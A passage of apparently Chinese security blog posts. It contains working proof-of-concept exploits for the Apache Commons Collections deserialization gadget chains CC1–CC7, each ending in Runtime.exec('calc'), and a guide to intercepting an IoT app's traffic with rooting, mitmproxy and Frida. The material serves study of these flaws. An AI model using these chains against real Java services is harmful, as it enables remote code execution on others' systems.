Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); Constructor<?> declaredConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); InvocationHandler handler = (InvocationHandler)declaredConstructor.newInstance(Override.class, lazyMap); Map m = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler); Object o = declaredConstructor.newInstance(Override.class, m); serialize(o); deserialize("hack.bin"); } public static Object deserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object o = ois.readObject(); return o; } public static void serialize(Object o) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("hack.bin"); ObjectOutputStream out = new ObjectOutputStream(fileOutputStream); out.writeObject(o); out.close(); fileOutputStream.close(); } } CC6 漏洞影响:Commons Collections<=3.2.1 jdk1.7,1.8 影响比较大的一条链 CC6与CC1的区别在于入口点处发生改变,后面从LazyMap开始都是一样的。 注意到TiedMapEntry类中,hashCode方法调用了getValue,getValue调用了get函数,达到LazyMap的get方法调用。TiedMapEntry类主要代码如下 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public class TiedMapEntry implements Map.Entry, KeyValue, Serializable { private final Map map; private final Object key; public TiedMapEntry(Map map, Object key) { super(); this.map = map; this.key = key; } public Object getValue() { return map.get(key); } public int hashCode() { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); } } 而HashMap类中反序列化时会调用hashCode,可以参考URLDNS链来完成入口点处。HashMap类主要代码: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable { static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); } private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { ...; if (...) { for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } } } 进而可以编写CC6调用链,其中lazyMap.remove(“aaa”)是因为put方法会调用HashCode,将aaa值插入到LazyMap,导致反序列化无法正常调用,反射更改factory是为了防止命令在本地执行。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 public class CC6 { public static void main(String[] args) throws Exception { Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, new ConstantTransformer("ccc")); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa"); HashMap<Object, Object> o = new HashMap<>(); o.put(tiedMapEntry, "bbb"); lazyMap.remove("aaa"); Class<LazyMap> lazyMapClass = LazyMap.class; Field factory = lazyMapClass.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazyMap, chainedTransformer); serialize(o); deserialize("hack.bin"); } public static Object deserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object o = ois.readObject(); return o; } public static void serialize(Object o) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("hack.bin"); ObjectOutputStream out = new ObjectOutputStream(fileOutputStream); out.writeObject(o); out.close(); fileOutputStream.close(); } } CC3 还是在CC1的基础上进行改进,CC1链中只能通过反射来调用命令,CC3中引入了TemplatesImpl类进行任意类加载调用静态代码块,去除了一些限制。先看一下TemplatesImpl类 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 public final class TemplatesImpl implements Templates, Serializable { private static String ABSTRACT_TRANSLET = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; private String _name = null; private byte[][] _bytecodes = null; private Class[] _class = null; private int _transletIndex = -1; private transient Map<String, Class<?>> _auxClasses = null; private transient TransformerFactoryImpl _tfactory = null; public TemplatesImpl() { } private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null; if (_class == null) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this); translet.setServicesMechnism(_useServicesMechanism); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (...Exception e) { throw new ...Exception(err.toString()); } } public synchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true); } return transformer; } } TrAXFilter类中的构造函数中调用了newTransformer方法 1 2 3 4 5 6 7 8 9 10 11 12 public class TrAXFilter extends XMLFilterImpl { private Templates _templates; private TransformerImpl _transformer; private TransformerHandlerImpl _transformerHandler; private boolean _useServicesMechanism = true; public TrAXFilter(Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl(_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); } } 看起来已经可以完成这条链了,但是CC3中引入了一个新的Transformer类:InstantiateTransformer,其主要功能是反射调用一个类的构造函数并执行,主要代码如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public class InstantiateTransformer implements Transformer, Serializable { private final Class[] iParamTypes; private final Object[] iArgs; public Object transform(Object input) { try { if (input instanceof Class == false) { throw new FunctorException(...); } Constructor con = ((Class) input).getConstructor(iParamTypes); return con.newInstance(iArgs); } catch (...Exception ex) { throw new ...Exception("...", ex); } } } 于是可以完成CC3链的代码: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 public class CC3 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "foo"); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("hack.class")); byte[][] codes = {code}; bytecodesField.set(templates, codes); Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl()); Transformer[] transformers = { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); map.put("value", "value"); Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Constructor<?> declaredConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); Object o = declaredConstructor.newInstance(Retention.class, transformedMap); serialize(o); deserialize("hack.bin"); } public static Object deserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object o = ois.readObject(); return o; } public static void serialize(Object o) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("hack.bin"); ObjectOutputStream out = new ObjectOutputStream(fileOutputStream); out.writeObject(o); out.close(); fileOutputStream.close(); } } CC4 从CC4开始,进入到commons collections4的环境中 CC4调用链的后半部分与CC3无大致差别,依旧是ChainedTransformer调用InstantiateTransformer来加载代码。 在TransformingComparator类中compare方法中调用了transform函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public class TransformingComparator<I, O> implements Comparator<I>, Serializable { private final Comparator<O> decorated; private final Transformer<? super I, ? extends O> transformer; public TransformingComparator(final Transformer<? super I, ? extends O> transformer) { this(transformer, ComparatorUtils.NATURAL_COMPARATOR); } public TransformingComparator(final Transformer<? super I, ? extends O> transformer, final Comparator<O> decorated) { this.decorated = decorated; this.transformer = transformer; } public int compare(final I obj1, final I obj2) { final O value1 = this.transformer.transform(obj1); final O value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2); } } 接着使用PriorityQueue的siftDownUsingComparator方法调用compare函数,恰好中PriorityQueue的readObject方法调用heapify再调用siftDown最后可以走到siftDownUsingComparator方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 public class PriorityQueue<E> extends AbstractQueue<E> implements java.io.Serializable { public PriorityQueue(Comparator<? super E> comparator) { this(DEFAULT_INITIAL_CAPACITY, comparator); } public PriorityQueue(int initialCapacity, Comparator<? super E> comparator) { if (initialCapacity < 1) throw new IllegalArgumentException(); this.queue = new Object[initialCapacity]; this.comparator = comparator; } private void siftDown(int k, E x) { if (comparator != null) siftDownUsingComparator(k, x); else siftDownComparable(k, x); } private void siftDownUsingComparator(int k, E x) { int half = size >>> 1; while (k < half) { int child = (k << 1) + 1; Object c = queue[child]; int right = child + 1; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0) break; queue[k] = c; k = child; } queue[k] = x; } private void heapify() { for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]); } private void readObject(java.io.ObjectInputStream s) throws ...Exception { s.defaultReadObject(); s.readInt(); queue = new Object[size]; for (int i = 0; i < size; i++) queue[i] = s.readObject(); heapify(); } 进而写出CC4代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 public class CC4 { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "foo"); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("hack.class")); byte[][] codes = {code}; bytecodesField.set(templates, codes); Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl()); Transformer[] transformers = { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers); TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(1); priorityQueue.add(2); Class<? extends TransformingComparator> c = transformingComparator.getClass(); Field transformerField = c.getDeclaredField("transformer"); transformerField.setAccessible(true); transformerField.set(transformingComparator, chainedTransformer); serialize(priorityQueue); deserialize("hack.bin"); } public static Object deserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object o = ois.readObject(); return o; } public static void serialize(Object o) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("hack.bin"); ObjectOutputStream out = new ObjectOutputStream(fileOutputStream); out.writeObject(o); out.close(); fileOutputStream.close(); } } CC2 和CC4比较相似,区别是舍去了ChainedTransformer和InstantiateTransformer,而采用InvokerTransformer直接对TemplatesImpl调用newTransformer(因为transform接收的参数可控) 这里直接给出代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 public class CC2 { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "foo"); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("hack.class")); byte[][] codes = {code}; bytecodesField.set(templates, codes); Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl()); InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{}); TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(templates); priorityQueue.add(2); Class<? extends TransformingComparator> c = transformingComparator.getClass(); Field transformerField = c.getDeclaredField("transformer"); transformerField.setAccessible(true); transformerField.set(transformingComparator, invokerTransformer); serialize(priorityQueue); deserialize("hack.bin"); } public static Object deserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object o = ois.readObject(); return o; } public static void serialize(Object o) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("hack.bin"); ObjectOutputStream out = new ObjectOutputStream(fileOutputStream); out.writeObject(o); out.close(); fileOutputStream.close(); } } CC5 cc5和cc7链又回到了Commons Collections<=3.2.1的范围 CC5和CC1、CC3的区别是不再借助 AnnotationInvocationHandler 的反序列化触发而是通过TiedMapEntry的toString方法调用LazyMap的get方法 1 2 3 4 5 6 7 8 public class TiedMapEntry implements Map.Entry, KeyValue, Serializable { private final Map map; public Object getValue() { return map.get(key); } public String toString() { return getKey() + "=" + getValue(); } 接着通过BadAttributeValueExpException类的readObject方法调用TiedMapEntry的toString方法完成调用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public class BadAttributeValueExpException extends Exception { private Object val; public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); } private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null); if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } } } 最终实现代码: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public class CC5 { public static void main(String[] args) throws Throwable { Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa"); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Field val = badAttributeValueExpException.getClass().getDeclaredField("val"); val.setAccessible(true); val.set(badAttributeValueExpException, tiedMapEntry); serialize(badAttributeValueExpException); deserialize("hack.bin"); } public static Object deserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object o = ois.readObject(); return o; } public static void serialize(Object o) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("hack.bin"); ObjectOutputStream out = new ObjectOutputStream(fileOutputStream); out.writeObject(o); out.close(); fileOutputStream.close(); } } CC7 CC7链后半段与CC1、CC5相似,区别是通过AbstractMap的equals方法来调用LazyMap的get,再用Hashtable的reconstitutionPut方法调用equals,Hashtable关键代码如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 public class Hashtable<K,V> extends Dictionary<K,V> implements Map<K,V>, Cloneable, java.io.Serializable { private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); int origlength = s.readInt(); int elements = s.readInt(); int length = (int)(elements * loadFactor) + (elements / 20) + 3; if (length > elements && (length & 1) == 0) length--; if (origlength > 0 && length > origlength) length = origlength; table = new Entry<?,?>[length]; threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1); count = 0; for (; elements > 0; elements--) { K key = (K)s.readObject(); V value = (V)s.readObject(); reconstitutionPut(table, key, value); } } private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null) { throw new java.io.StreamCorruptedException(); } int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java.io.StreamCorruptedException(); } } Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry<>(hash, key, value, e); count++; } } 注意到e.hash == hash的判断,因此需要对两个输入对象进行哈希碰撞,在Java中存在一个”yy”与”zZ”的哈希碰撞,于是可以顺利写出调用链,其中lazyMap0.remove(“yy”)是因为判断yy是否存在后会向lazyMap0添加一个yy的键。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 public class CC7 { public static void main(String[] args) throws Exception{ Transformer chainedTransformer = new ChainedTransformer(new Transformer[]{}); Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; HashMap<Object, Object> map = new HashMap<>(); HashMap<Object, Object> map0 = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); lazyMap.put("yy", 1); Map lazyMap0 = LazyMap.decorate(map0, chainedTransformer); lazyMap0.put("zZ", 1); Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap, 1); hashtable.put(lazyMap0, 2); Field iTransformersField = chainedTransformer.getClass().getDeclaredField("iTransformers"); iTransformersField.setAccessible(true); iTransformersField.set(chainedTransformer, transformers); lazyMap0.remove("yy"); serialize(hashtable); deserialize("hack.bin"); } public static Object deserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object o = ois.readObject(); return o; } public static void serialize(Object o) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("hack.bin"); ObjectOutputStream out = new ObjectOutputStream(fileOutputStream); out.writeObject(o); out.close(); fileOutputStream.close(); } } 总结 一张图来概括

2024/2/23
articleCard.readMore

记一次零基础IOT设备与app交互0day漏洞挖掘学习经历

基础知识 apk结构 apk是对一个安卓应用程序所需要的文件进行打包,本质上是一个被签名的压缩包。 通常情况下,apk会含有以下文件: asset文件夹:是不需编译的原始资源目录,包含各种静态的资源,如各种配置文件、JavaScript、字体文件、图片文件等。 lib文件夹:动态链接库存放的位置,通常情况下,这个文件夹内部以不同处理器版本还会划分成多个文件夹,如armeabi、armeabi-v7a、x86等,其存放的文件通常为Android Native的代码。 META-INF文件夹:用来存放签名信息,通常会有CERT.RSA、CERT.SF和MANIFEST.MF三个文件。是用来保护apk的所有权和防止apk被恶意篡改。 r文件夹/res文件夹:存放编译资源文件,与asset文件夹相似,区别是其存放的文件是编译后的。通常会包含drawable 文件夹(图片资源文件)、layout 文件夹(布局文件)和values 文件夹(值资源文件)等。r文件夹通常是res文件夹进行混淆后的结果。 AndroidManifest.xml文件:apk的整体配置文件,其中包含了一个apk的各种配置信息,包括包名、应用名、权限、安卓四大组件、版本等重要信息。 dex文件:存放字节码的文件,其反汇编后为smali语言,可转化为Java代码,通常dex文件包含一个apk的主要逻辑。 resources.arsc文件:用来存放应用程序的资源表,包含了应用程序的资源 ID 和资源类型的映射关系。 使用工具 jadx/jeb:均为Android程序Java层反编译软件,相对来说jeb反编译能力相对较强,可以看到smali层的代码,而且也有一些混淆对抗的能力 frida:Android程序二进制动态插桩工具,用来动态调试Android程序 xposed:动态调试插件,相对于frida更加稳定 mitmproxy:中间人工具,用来监控并解密app端TLS流量 wireshark:对网卡进行抓包,配合mitmproxy使用可以获取tls解密后的流量信息 ida:用来反编译Android native层代码 iptables:配合mitmproxy透明模式,避免app端流量不经过代理导致tls流量无法被解密 手机:已ROOT adb:用来连接手机的shell 环境搭建 获取手机Root权限 本次使用的手机是一台Pixel 6,首先需要在电脑上安装adb,过程省略 进入手机开发者模式,打开USB调试开关,连接电脑adb,可以使用adb devices查看是否连接成功,连接成功后开始解BL,输入 1 adb reboot bootloader 将手机进入Bootloader界面,此时手机处于fastboot模式下,输入fastboot devices查看是否可以正常连接。输入 1 fastboot flashing unlock 成功解锁BL。 注:Pixel手机如果发现进入fastboot模式adb断开的情况,请检查是否是数据线的原因,可以换个数据线试试,这个坑卡了我好久-_- 解锁BL后,一般都会向手机中安装Magisk,它是用来管理Root权限的工具。来源:topjohnwu/Magisk: The Magic Mask for Android (github.com) 下载好安装包后,可以使用adb install命令来安装Magisk,装好Magisk后,接下来进行镜像修补。 在Nexus 和 Pixel 设备的出厂映像 | Google Play services | Google for Developers中下载手机对应的镜像文件,在手机设置 - 关于手机页面的最底端可以看到当前的版本号,在页面中找到对应的镜像下载,下载后将其中的boot.img用adb传输到手机,最后使用Magisk软件进行镜像修补,最后将修补完的镜像文件adb pull出来。 接下来进入最后的刷机步骤,使用adb reboot bootloader再次进入fastboot模式中,使用fastboot boot img地址指令将手机从修补过的img启动,重启后进入Magisk按照步骤安装好即可。 mitmproxy+iptables搭建中间人代理 mitmproxy是一个强大的中间人代理工具,与其他中间人代理工具相比,mitmproxy不仅可以转发http/https流量,还可以转发非http流量,如MQTT等。 在Android设备中抓取https流量,我们需要安装mitmproxy的CA证书,由于Android 7开始,应用会默认忽略用户级别的证书,因此,我们需要将CA证书放入系统级别中。 一般情况下,将证书格式先转化为pem格式,然后通过openssl x509 -subject_hash_old -in certificate.pem|head -1命令读取哈希值,将pem证书名字改为刚刚提取的哈希值加.0,如9a5ba575.0,其中.0是为了防止证书哈希值重复,如果两个证书哈希值重复,那么后面的证书就会被重命名为.1、.2等,最后将/system/etc/security/cacerts/目录可写权限打开,将重命名后的证书放进去即可。 我的手机版本为Android 10以上,无法直接通过更改文件夹写入权限来导入证书(也可能是我没有搞好),我使用了Magisk的Always Trust User Certificates模块,直接将证书装在用户目录下,重启后即可导入到系统证书中。 装好证书后,正常情况下手机端连wifi时配置代理后应该是可以解密https流量了,但是,如果app拒绝代理或想要捕获其他tcp流量时,就需要使用mitmproxy透明模式,透明模式的启动命令为mitmproxy --mode transparent --showhost,开启透明模式后,工作原理如下图: 此时,对于手机来说,mitmproxy相当于一个服务器,对于原服务器来说,mitmproxy相当于设备。 由于透明模式需要对网络层进行转发,因此还需要配置iptables,关于iptables的知识可以看这篇博客iptables-朱双印博客 (zsythink.net),在此贴一张iptables的原理图。 我的iptables规则参考了fwx学长的博客基于mitmproxy+iptables+SSL pinning绕过技术+wireshark的安卓APP流量(包括HTTP、HTTPS和非HTTP)捕获 | 代码鬼才的Blog (fwx2233.github.io),如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #!/bin/bash # 写监听的无线网卡的名称 WIRELESS_CARD="wlxc01c30151c62" # 开启相关的转发服务 sudo sysctl -w net.ipv4.ip_forward=1 sudo sysctl -w net.ipv4.conf.all.send_redirects=0 # 设置iptables的规则 # 将之前的规则清空 sudo iptables -F PREROUTING -t nat -i $WIRELESS_CARD # 设置端口转发(MQTT: 8883, HTTP: 80, HTTS: 443) sudo iptables -t nat -A PREROUTING -i $WIRELESS_CARD -p tcp --dport 80 -j REDIRECT --to-port 8080 sudo iptables -t nat -A PREROUTING -i $WIRELESS_CARD -p tcp --dport 443 -j REDIRECT --to-port 8080 sudo iptables -t nat -A PREROUTING -i $WIRELESS_CARD -p tcp --dport 8883 -j REDIRECT --to-port 8080 最开始我一直想要拿win+mitmproxy透明模式进行抓包,想要通过netsh来代替iptables进行流量转发,然而一直没有成功,如果读者有配置成功的经历麻烦评论区分享一下 接下来配置wireshark,通过捕获mitmproxy密钥交换过程中生成的随机数来进行TLS解密,操作方式也可以直接看官方文档Wireshark and SSL/TLS (mitmproxy.org) 如果时间过长或多次抓包导致生成的随机数文件过大,可能会导致wireshark解密失败,可以定时清空生成的随机数文件。 至此基本环境配置完毕,给出我的最终网络拓扑图。 原理 frida进行hook frida安装过程省略,网上有很多教程可以参考。 frida中有两种操作模式,分别是CLI模式和RPC模式 CLI(命令行)模式:通过命令行直接将JavaScript脚本注入进程中,对进程进行操作 RPC模式:使用Python进行JavaScript脚本的注入工作,实际对进程进行操作的还是JavaScript脚本,可以通过RPC传输给Python脚本来进行复杂数据的处理 frida有两种注入模式,分别是Spawn和Attach Spawn模式:将启动App的权利交由Frida来控制,即使目标App已经启动,在使用Frida注入程序时还是会重新启动App。在命令行模式中需要加入参数-f,可以对从启动就开始对App进行监控。 Attach模式:在目标App已经启动的情况下,Frida通过ptrace注入程序从而执行Hook的操作。如果只关心一个功能时通常会用这种模式。 相关的api可以在官网上查看官方文档Welcome | Frida • A world-class dynamic instrumentation toolkit 给出一个python的框架代码: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import sys,frida jscode = """ 这里输入你的js代码 """ def on_message(message,data): if message["type"] == "send": print(message["payload"]) else: print(message) # process = frida.get_usb_device().spawn("app")) process = frida.get_usb_device().attach("app") script = process.create_script(jscode) script.on("message",on_message) script.load() sys.stdin.read() Java层hook Java层hook示例代码: 1 2 3 4 5 6 7 8 9 10 11 setImmediate( Java.perform(function () { var targetClass = Java.use(className); // 替换为您的类名 targetClass.examplefunction.implementation = function(a,b,c...){//替换为参数 //调用原始方法 var result = this.examplefunction(a, b, c...); //可以在这里进行各种操作 return result; } }); ); hook重载参数: 1 2 3 4 5 6 7 8 9 function hook(){ var utils = Java.use(className); //overload定义重载函数,根据函数的参数类型填 utils.expfunc.overload('com.example.Demo$Class','java.lang.String').implementation = function(a,b){ b = "aaaaaaaaaa"; this.expfunc(a,b); console.log(b); } } hook字段修改: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 function hook(){ //静态字段修改 var utils = Java.use(className); //修改类的静态字段"flag"的值 utils.staticField.value = "我是被修改的静态变量"; console.log(utils.staticField.value); //非静态字段的修改 //使用`Java.choose()`枚举类的所有实例 Java.choose("com.example.Demo", { onMatch: function(obj){ //修改实例的非静态字段"_privateInt"的值为"123456",并修改非静态字段"privateInt"的值为9999。 obj._privateInt.value = "123456"; //字段名与函数名相同 前面加个下划线 obj.privateInt.value = 9999; }, onComplete: function(){ } }); } 对内部类进行hook 1 2 3 4 5 6 7 8 function hook(){ //内部类 var innerClass = Java.use("com.example.Demo$innerClass");//如果是匿名类需要反编译查看具体标号 console.log(innerClass); innerClass.$init.implementation = function(){ console.log("hook"); } } 静态方法主动调用 1 2 3 4 function hook(){ var ClassName=Java.use("com.example.Demo"); ClassName.privateFunc("传参"); } 非静态方法主动调用 1 2 3 4 5 6 7 8 9 10 11 var ret; function hook() { Java.choose("com.example.Demo",{ //要hook的类 onMatch:function(instance){ ret=instance.privateFunc("aaaaaaa"); //要hook的方法 }, onComplete:function(){ console.log("result: " + ret); } }); } Native层hook 枚举so库 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 function hook(){ Process.enumerateModules({ onMatch: function (module) { send(module.name + " : " + module.base.toString()); if (module.name == "example.so") { send("example.so found !"); send("hooking..."); send(module.name + " : " + module.base.toString() + " : " + module.size.toString() + " : " + module.path); } }, onComplete: function () { send("end"); } }); } hook函数 1 2 3 4 5 6 7 8 9 10 11 12 function hook(){ var base_addr = Module.findBaseAddress("example.so"); Interceptor.attach(base_addr.add(0xabcd), {//偏移值 onEnter: function (args) { //args是参数数组 console.log(args[0]); }, onLeave: function (retval) { console.log(retval); } }); } 这里有一个偏移值的计算,安卓里一般32 位的 so 中都是thumb指令,64 位的 so 中都是arm指令,通过IDA里的opcode bytes来判断,arm 指令为 4 个字节(options -> general -> Number of opcode bytes (non-graph) 输入4) thumb 指令,函数地址计算方式: so 基址 + 函数在 so 中的偏移 + 1 arm 指令,函数地址计算方式: so 基址 + 函数在 so 中的偏移 IDA对so库逆向 ida的话就是纯看代码环节了,说几个小技巧吧。 首先就是尽量不要从导出表中反过来找函数,因为有一部分导出表对应的函数是fastcall类型,只观察函数内部有时ida无法将参数识别出来,导致后来再去找函数的调用处时代码都是乱的。 ida有一键生成frida的插件,P4nda0s/IDAFrida: IDA Frida Plugin for tracing something interesting. (github.com)和AnxiangLemon/MyIdaFrida: Generate Frida Script 